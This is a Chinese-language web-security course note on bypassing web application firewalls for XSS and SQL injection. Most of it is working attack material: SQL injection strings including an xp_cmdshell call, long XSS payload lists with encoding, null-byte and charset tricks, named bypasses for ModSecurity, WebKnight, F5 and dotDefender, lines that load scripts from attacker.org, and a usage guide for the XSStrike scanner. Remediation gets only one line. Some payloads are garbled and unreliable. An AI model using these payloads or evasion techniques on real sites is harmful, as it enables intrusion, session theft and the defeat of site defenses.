

Day28 WEB漏洞-XSS跨站之WAF绕过及安全修复

28.1 WAF分类

- 0x01 云waf在配置云waf时（通常是CDN包含的waf），DNS需要解析到CDN的ip上去，在请求uri时，数据包就会先经过云waf进行检测，如果通过再将数据包流给主机。
 - 0x02 主机防护软件在主机上预先安装了这种防护软件，可用于扫描和保护主机（废话），和监听web端口的流量是否有恶意的，所以这种从功能上讲较为全面。这里再插一嘴，mod_security、ngx-lua-waf这类开源waf虽然看起来不错，但是有个弱点就是升级的成本会高一些。
 - 0x03 硬件ips/ids防护、硬件waf使用专门硬件防护设备的方式，当向主机请求时，会先将流量经过此设备进行流量清洗和拦截，如果通过再将数据包流给主机
-

28.2 常规 WAF 绕过思路

- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其他漏洞绕过

28.3 WAF身份认证阶段的绕过

WAF有一个白名单，在白名单内的客户请求将不做检测

28.3.1 0X01伪造搜索引擎

早些版本的安全狗是有这个漏洞的，就是把User-Agent修改为搜索引擎，便可以绕过，进行sql注入等攻击，这里推荐一个谷歌插件，可以修改User-Agent，叫User-Agent Switcher

28.3.2 0X02伪造白名单特殊目录

360webscan脚本存在这个问题，就是判断是否为admin dede install等目录，如果是则不做拦截，比如GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php/admin?id=1 union select user,password from mysql.user或者GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user

28.3.3 0X03直接攻击源站

这个方法可以用于安全宝、加速乐等云WAF，云WAF的原理通过DNS解析到云WAF，访问网站的流量要经过指定的DNS服务器解析，然后进入WAF节点进行过滤，最后访问原始服务器，如果我们能通过一些手段（比如c段、社工）找到原始的服务器地址，便可以绕过。

28.4 WAF数据包解析阶段的绕过

- 0x01 编码绕过最常见的方法之一，可以进行urlencode。

- 0x02 修改请求方式绕过大家都知道cookie中转注入，最典型的修改请求方式绕过，很多的asp，aspx网站都存在这个问题，有时候WAF对GET进行了过滤，但是Cookie甚至POST参数却没有检测。还有就是参数污染，典型例子就是multipart请求绕过，在POST请求中添加一个上传文件，绕过了绝大多数WAF。
- 0x03 复参数绕过例如一个请求是这样的GET /pen/news.PHP?id=1 union select user,password from MySQL.user可以修改为GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user很多WAF都可以这样绕

28.5 WAF触发规则的绕过

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多，也是最有效的。

- 0x01 特殊字符替换空格用一些特殊字符代替空格，比如在mysql中%0a是换行，可以代替空格，这个方法也可以部分绕过最新版本的安全狗，在sqlserver中可以用/**/代替空格
 - 0x02 特殊字符拼接把特殊字符拼接起来绕过WAF的检测，比如在Mysql中，可以利用注释/**/来绕过，在mssql中，函数里面可以用+来拼接,例如GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')可以改为GET /pen/news.php?id=1;exec('maste'+ 'r..xp'+ '_cmdshell'+ '"net user"')
 - 0x03 注释包含关键字在mysql中，可以利用/*!/包含关键词进行绕过，在mysql中这个不是注释，而是取消注释的内容。例如,GET /pen/news.php?id=1 union select user,password from mysql.user可以改为GET /pen/news.php?id=1 /*!union/#!/select/ user,password /*!from/ mysql.user
-

28.6 XSS绕过WAF方法总结

28.6.1 Script标签



- 1 绕过进行一次移除操作：
- 2 `<scr<script>ipt>alert("xss")</scr<script>ipt>`
- 3 `script`标签可以用于定义一个行内的脚本或者从其他地方加载脚本：
- 4 `<script>alert("xss")</script>`
- 5 `<script src=" http://attacker.org/malicious.js">`
`</script>`

28.6.2 JavaScript事件



- 1 我们可以像如下这样在元素中定义JavaScript 事件：
- 2 `<div onclick="alert('xss')">`
- 3 这个JavaScript代码当有人点击它后就会被执行，同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了，但是依旧还有少量事件没有被过滤，例如，`onmouseenter`事件：`<divonmouseenter="alert('xss')">`当用户鼠标移动到- 4 另一个绕过的办法就是在属性和=之间插入一个空格：
- 5 `<div onclick ="alert('xss')">`

28.6.3 行内样式 (Inlinestyle)



1 我们同样可以在行内样式里利用IE浏览器支持的动态特性://IE5之后才支持

2 `<div style="color:expression(alert('xss'))">//experssion`后执行的语句相当于javascript后执行的语句过滤器会检查关键字style, 随后跟随的不能是<, 在随后是expression:

3 `/style=[^<]*((expression\s*[<]*?)I(behavior\s*:.)) [A<]*(?=\>)/Uis`

4 所以, 让我们需要把<放到其他地方:

5 `<div style="color:'<';color:expression(alert('xss'))">`

28.6.4 CSS Import



1 IE浏览器支持在CSS中扩展JavaScript，这种技术称为动态特性（dynamic properties）。允许攻击者加载一个外部CSS样式表是相当危险的，因为攻击者现在可以在原始页面中执行JavaScript代码了。

```
2 <style>
3 @import url("
  http://attacker.org/malicious.css");
4 </style>
5 malicious.css:
6 body{
7   color: expression (alert('xss'));
8 }
```

9 为了绕过对@import的过滤，可以在CSS中使用反斜杠进行绕过：

```
10 <style>
11 @imp\orturl("http://attacker.org/malicious.css";
12 </style>
13 IE浏览器会接受反斜杠，但是我们绕过了过滤器。
```

28.6.5 JavaScript URL



- 1 链接标签里可以通过在URL中使用javascript:来执行JavaScript:
- 2 `link`
- 3 上面的过滤会从代码中移除javascript:，所以我们不能直接这么写代码。但我们可以尝试改变javascript:的写法，使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下URL编码:
- 4 `link`
- 5 上面这段代码不匹配正则表达式，但是浏览器依旧会执行它，因为浏览器会首先进行URL解码操作。另外，我们还可以使用VBScript，虽然它在IE11中被禁用了，但依旧可以运行在旧版本的IE或者启用兼容模式的IE11上。我们可以使用类似上面JavaScript的方式来插入VBScript代码:
- 6 `link`
- 7 `'-confirm`1`-'`
- 8 `'-confirm(1)-'`

28.6.6 利用字符编码



- 1 `%c1;alert(/xss/);//`

28.6.7 绕过长度限制



- 1 `"onclick=alert(1)//`
- 2 `"><!--`
- 3 `--><script>alert(xss);</script>`

28.6.8 使用标签



- 1 `<script>alert(navigator.userAgent) </script>`

```
2  <script>alert(88199)</script>
3  <script>confirm(88199)</script>
4  <script>prompt(88199) </script>
5  <script>\u0061\u006c\u0065\u0072\u0074(88199)
   </script>
6  <script>+alert(88199)</script>
7  <script>alert(/88199/)</script>
8  <script src=data:text/javascript, alert( 88199)>
   </script>
9  <script src=&#100&#97&#116&#97:text/javascript,
   alert(88199)></script>
10 <script>alert(String.fromCharCode(49, 49))
   </script>
11 <script>alert(/88199/.source)</script>
12 <script>setTimeout(alert(88199), 0)</script>
13 <script>document['write'](88199);</script>
14 <anytag onmouseover=alert(15)>M
15 <anytag onclick=alert (16)>M
16 <a onmouseover=alert(17)>M
17 <a onclick=alert(18)>M
18 <a href=javascript:alert(19)>M
19 <button/onclick=alert(20)>M
20 <form> <button
21 formaction=javascript&colon;alert(21)>M
22 <form/action=javascript:alert(22)>
   <input/type=submit>
23 <form onsubmit=alert(23)><button>M
24 <form onsubmit=alert(23)><button>M
25 <img src=x onerror=alert(24)> 29
26 <body/onload= alert(25)>
27
28 <body
```



```

29  onscroll=alert(26)><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><br><br><br><br><br><br>
30  <input autofocus>
31
32  <iframe src=" http://0x.1v/xss.swf"></iframe>
33  <iframe/onload=alert(document.domain)></iframe>
34  <IFRAME SRC="javascript:alert(29);"></IFRAME>
35  <meta http-equiv=" refresh" content="0;
36  url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6
    C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">^_
    ^
37  <object
38  data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb
    2N1bwudc5kb21haw4pPC9zY3JpCHQ+>
39  </object>
40  <object data="javascript:alert(document .
    domain)">
41
42  <marquee onstart=alert(30)></marquee>
43  <isindex type=image src=1 onerror=alert (31)>
44  <isindex action=javascript:alert(32) type=image>
45  <input onfocus=alert(33) autofocus>
46  <input onblur=alert(34) autofocus><input
    autofocus>

```

测试 Clickme <a 被过滤? href 被过滤? 其他内容被过滤? 如果没有过滤尝试使用 Clickme 尝试使用错误的事件查看过滤 Click Here HTML5 拥有 150 个事件处理函数, 可以多尝试其他函数 <body/ onhashchange=alert(1)>clickit

src属性

```
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe
<iframe src="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/n1x0P>
Action
```

```
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
mario验证
<span class="pln"> </span><span class="tag">&lt;form action</span>
<span class="pun">=</span>
<span class="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)
&lt;/script&gt;&#039;</span><span class="tag">&gt;&lt;button&gt;</span>
<span class="pln">CLICK</span>
"formation"属性
<isindex formation="javascript:alert(1)" type=image>
<input type="image" formation=JavaScript:alert(0)>
<form><button formation=javascript&colon;alert(1)>CLICKME
"background"属性
<table background=javascript:alert(1)></table> // works on Opera10.5 and IE6
"posters" 属性
<video poster=javascript:alert(1)//></video> // works upto Opera10.5
"data"属性
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/n1x0P?
"code"属性
<applet code="javascript:confirm(document.cookie);"> // FirefoxOnly
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf"
allowsriptaccess=always>
事件处理
```

```

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)> // Useful in-case of payloadrestrictions.
嵌套欺骗
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vb onload=alert-1 // works with IE8
<commandonmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6
F\x6E\x3B\x63\x6F\x6E\x66\x6
9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>
// works with IE8
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1">
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;
Expression 属性
<img style="xss:expression(alert(0))"> // works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1)))"></div> // works
upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // works upto IE7
"location"属性
<a onmouseover=location='javascript:alert(1)>click
<body onfocus="location=&#039;javascript:alert(1) >123
其他Payload

```

```

<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<svg xmlns=" http://www.w3.org/2000/svg"><g
onload="javascript:\u0061lert(1);"></g></svg> // By @secalert
<svg xmlns:xlink=" r=100 /><animateattributeName="xlink:href"
values="";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By
Mario
<svg><![CDATA[<imgxlink:href=""]><img/src=xx:xonerror=alert(2)///></svg> //
By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon;alert(1)" http-
equiv="refresh"/>
<math><a xlink:href="//jsfiddle .NET/t846h/">click // ByAshar Javed
(): : 被过滤
<svg><script>alert&#40/1/&#41</script> // works with All Browsers
( is html encoded to &#40
) is html encoded to &#41
Opera的变量
<svg><script>alert&#40 1&#41 // workswith Opera Only
实体解码
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a href="j&#x26;#x26;#x41;vascript:alert%252831337%2529">Hello</a>
编码
JavaScript是很灵活的语言，可以使用十六进制、Unicode、HTML等进行编码，
(支持HTML, Octal, Decimal, Hexadecimal, and Unicode)

```



```
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
```

28.6.9 基于上下文的过滤

WAF最大的问题是不能理解内容，使用黑名单可以阻挡独立的js脚本，但仍不能对xss提供足够的保护，如果一个反射型的XSS是下面这种形式

28.6.10 输入反射属性

```
<inputvalue="XSStest" type=text>
我们可以使用 "><imgsrc=x onerror=prompt(0);>触发，但是如果<>被过滤，我们仍然可以使用"
autofocusonfocus=alert(1)//触发，基本是使用" 关闭value属性，再加入我们的执行脚本
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
输入反射在<script>标签内
类似这种情况：
<script>
Var
x="Input";
</script>
```

通常，我们使用"></script>，闭合前面的</script>标签，然而在这种情况下，我们也可以直接输入执行脚本alert()，prompt()

confirm()，例如：

```
";alert(1)//
```

2.4.3 超文本内容

代码中的情况如下

```
<a
href="Userinput">Click</a>
可以使用javascript:alert(1)//直接执行<a
href="javascript:alert(1)//">Click</a>
```

28.6.11 变形

主要包含大小写和JavaScript变形

```
javascript&#058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
j&#229;vas&#229;cri&#229;pt&#229;:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
avascript&#x3A;alert&lpar;document&period;cookie&rpar;    // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript&#058;alert(1);
vbscr&#229;ipt:alert(1)"
```

Data URl

```
data:text/html;base64,PHNjcmlwdD5hbGvdydCg&#229;KTWvc2NyaXB0Pg==
```

2.4.5JSON内容

反射输入

```
encodeURIComponent(&#039;userinput&#039;)
```

可以使用

```
-alert(1)-
-prompt(1)-
-confirm(1)-
```

结果

```
encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)
```

28.6.12 输入反射在svg标签内

源码如下:

```
<svg><script>varmyvar="YourInput";</script></svg>
```

可以输入

```
www.site.com/test.PHP?var=text";alert(1)//
```

如果系统编码了"字符

```
<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
```

原因是引入了附加的 (XML) 到HTML内容里, 可以使用2次编码处理

浏览器BUG

28.6.13 字符集BUG

字符集BUG在IE中很普遍, 最早的bug是UTF-7。如果能控制字符集编码, 我们可以绕过99% 的WAF过滤。

示例

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
```

可以控制编码, 提交

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img
src=x onerror=prompt(0);>
```

可以修改为UTF-32编码形式

```
???script?alert(1)?/script?
```

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-
```

```
32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
```

28.6.14 空字节

最长用来绕过mod_security防火墙，形式如下：

- `<scri%00pt>alert(1)`
- `</scri%00pt> <scri\x00pt>alert(1)`
- `</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0)`
- `</s%00c%00r%00%00ip%00t>`

空字节只适用于PHP 5.3.8以上的版本

28.6.15 语法BUG

```
RFC声明中节点名称不能是空格，以下的形式在javascript中不能运行
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!, <?可以被解析成<, 所以可以使用以下的payload
<!-- style=x:expression\28write(1)\29> // works upto IE7 参考
http://html5sec.org/#71
<!--[if]><script>alert(1)</script --> // works upto IE9 参考
http://html5sec.org/#115
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
// works in IE7 参考 http://html5sec.org/#77
<div%20style=xss:expression(prompt(1))> // works Upto IE7
```

28.6.16 Unicode分隔符

`[on\w+\s*]`这个规则过滤了所有on事件，为了验证每个浏览器中有效的分隔符，可以使用fuzzing方法测试0x00到0xff，结果如下：

IE Explorer = [0x09, 0x0B, 0x0C, 0x20, 0x3B]

Chrome = [0x09, 0x20, 0x28, 0x2C, 0x3B]

Safari = [0x2C, 0x3B]

Firefox = [0x09, 0x20, 0x28, 0x2C, 0x3B]

Opera = [0x09, 0x20, 0x2C, 0x3B]

Android = [0x09, 0x20, 0x28, 0x2C, 0x3B]

x0b在Mod_security中已经被过滤，绕过的方法：

```
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec
```

28.6.17 缺少X-frame选项

通常会认为X-frame是用来防护点击劫持的配置，其实也可以防护使用iframe引用的xss漏洞

Docmodes

IE引入了doc-mode很长时间，提供给老版本浏览器的后端兼容性，有风险，攻击情景是黑客可以引用你站点的框架，他可以引入doc-mode执行css表达式

expression(open(alert(1)))

以下POC可以插入到IE7中

```
<html>
  <body>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
    <iframe src=" https://targetwebsite.com">
  </body>
</html>
```

28.6.18 Window.name欺骗

情景：我们用iframe加载一个页面，我们可以控制窗口的名称，这里也可以执行javascript代码

POC

```
<iframe src='&#039; http://www.target.com?foo="xss autofocus/AAAAA
onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>
```

DOM型XSS

服务器不支持过滤DOM型的XSS，因为DOM型XSS总是在客户端执行，看一个例子：

```
<script>
  vari=location.hash;
  document.write(i);
</script>
```

在一些情况下，反射型XSS可以转换成DOM型XSS：

```
http:// www.target.com/xss.php?foo=<svg/
onload=location=/java/.source+/script/.source+location.hash[1]+/a1/.source+/ert/
.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:
()
```

上面的POC只在[.+都被允许的情况下适用，可以使用location.hash注入任何不允许的编码

Location.hash[1] = : // Defined at the first position after the hash.

Location.hash[2]= (// Defined at the second position after the has

Location.hash[3] =) // Defined at third position after the hash

如果有客户端过滤可能不适用

28.6.19 ModSecurity绕过

```
<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A
\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec
```

参考 <http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html>

28.6.20 WEB KNIGHT绕过

```
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
F5 BIG IP ASM and Palo ALTO绕过
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
"/><marquee onfinish=confirm(123)>a</marquee>
Dot Defender绕过
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
```

28.7 安全修复方案



1 开启httponly，输入过滤，输出过滤等

28.8 XSStricke(自动化xss绕过waf)

28.8.1 XSS介绍


XSSStrike是一款用于探测并利用XSS漏洞的脚本

XSSStrike目前所提供的产品特性:

- 对参数进行模糊测试之后构建合适的payload
- 使用payload对参数进行穷举匹配
- 内置爬虫功能
- 检测并尝试绕过WAF
- 同时支持GET及POST方式
- 大多数payload都是由作者精心构造
- 误报率极低

28.8.2 使用方法

下载安装:

- 
- 1 下载地址: <https://github.com/s0md3v/XSSStrike>
 - 2 最新版支持python3 windows、linux系统都可以运行完成下载之后,
 - 3 进入XSSStrike目录:
 - 4 `cd XSSStrike`
 - 5 `pip install -r requirements.txt`
 - 6 #XSSStrike 主要特点反射和 DOM XSS 扫描
 - 7 多线程爬虫
 - 8 Context 分析
 - 9 可配置的核心
 - 10 检测和规避 WAF
 - 11 老旧的 JS 库扫描
 - 12 智能 payload 生成器
 - 13 手工制作的 HTML & JavaScript 解析器
 - 14 强大的 fuzzing 引擎
 - 15 盲打 XSS 支持
 - 16 高效的工作流
 - 17 完整的 HTTP 支持
 - 18 Bruteforce payloads 支持
 - 19 Payload 编码

测试一个使用GET方法的网页:

```
C:\WINDOWS\system32\cmd.exe
File "C:\Python3\XSStrike\core\fuzzer.py", line 20, in fuzzer
    sleep(t)
KeyboardInterrupt
C:\Python3\XSStrike>python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test"

XSStrike v3.1.4

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: name
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072

-----
[+] Payload: <a%09onMOuseOVer+=+a=prompt,a()%0dx>v3dm0s
[!] Efficiency: 92
[!] Confidence: 10
-----
[+] Payload: <htML%09OnmOuseover+=+(confirm)()%0dx//
[!] Efficiency: 92
[!] Confidence: 10
-----
[+] Payload: <a/+/onmOuSeOver+=+[8].find(confirm)>v3dm0s
[!] Efficiency: 94
[!] Confidence: 10
-----
[+] Payload: <deTaIlS%0aontoGgle%0d=%0dconfirm()%0dx>
```

测试POST数据:

```
1 python xsstrike.py -u
  "http://192.168.195.128/xss-labs/level1.php?
  name=test" -- data "q=query"
2 python xsstrike.py -u
  "http://192.168.195.128/xss-labs/level1.php?
  name=test" -- data '{"q":"query"} --json'
```

测试URL路径:

```
1 python xsstrike.py -u
  "http://192.168.195.128/xss-labs/level1.php?
  name=test" -- path
```

从目标网站开始搜寻目标并进行测试:



```
1 python xsstrike.py -u  
  "http://192.168.195.128/xss-labs/level1.php?  
  name=test" -- crawl
```

您可以指定爬网的深度,默认2: -l

```
python3 xsstrike.py -u "http://192.168.195.128/xss-labs/lev  
el1.php?name=test" --crawl -l 3
```

如果要测试文件中的URL, 或者只是想添加种子进行爬网, 则可以使用该 --seeds 选项:



```
1 python xsstrike.py --seeds urls.txt
```

查找隐藏的参数:

通过解析HTML和暴力破解来查找隐藏的参数



```
1 python xsstrike.py -u  
  "http://192.168.195.128/xss-labs/level1.php?  
  name=test" -- params
```

盲XSS:

爬行中使用此参数可向每个html表单里面的每个变量插入xss代码



```
1 python xsstrike.py -u  
  "http://192.168.195.128/xss-labs/level1.php?  
  name=test" -- crawl --blind
```

模糊测试:

--fuzzer该模糊器旨在测试过滤器和Web应用程序防火墙, 可使用 -d 选项将延迟设置为1秒



```
1 python xsstrike.py -u  
  "http://192.168.195.128/xss-labs/level1.php?  
  name=test" -- fuzzer
```

跳过DOM扫描在爬网时可跳过DOM XSS扫描，以节省时间:



```
1 python xsstrike.py -u  
  "http://192.168.195.128/xss-labs/level1.php?  
  name=test" -- skip-dom
```

更新:

如果跟上--update选项，XSStrike将检查更新。如果有更新的版本可用，XSStrike将下载更新并将其合并到当前目录中，而不会覆盖其他文件。



```
1 python3 xsstrike.py --update
```

参数详解:



```
1 -h, --help  
  //显示帮助信息  
2 -u, --url  
  //指定目标 URL  
3 --data  
  //POST 方式提交内容  
4 -v, --verbose  
  //详细输出  
5 -f, --file  
  //加载自定义 payload 字典  
6 -t, --threads  
  //定义线程数
```

```
7  -l, --level
    //爬行深度
8  -t, --encode
    //定义 payload 编码方式
9  --json
    //将 POST 数据视为 JSON
10 --path
    //测试 URL 路径组件
11 --seeds
    //从文件中测试、抓取 URL
12 --fuzzer
    //测试过滤器和 web 应用程序防火墙。
13 --update
    //更新
14 --timeout
    //设置超时时间
15 --params
    //指定参数
16 --crawl
    //爬行
17 --proxy
    //使用代理
18 --blind
    //盲测试
19 --skip
    //跳过确认提示
20 --skip-dom
    //跳过 DOM 扫描
21 --headers
    //提供 HTTP 标头
22 -d, --delay
    //设置延迟
```

资源:



- 1 <https://github.com/3xp10it/xwaf>
- 2 <https://xssfuzzer.com/fuzzer.html>
- 3 <https://github.com/s0md3v/XSSstrike>
- 4 <https://bbs.pediy.com/thread-250852.html>
- 5 <https://github.com/TheKingOfDuck/fuzzDicts>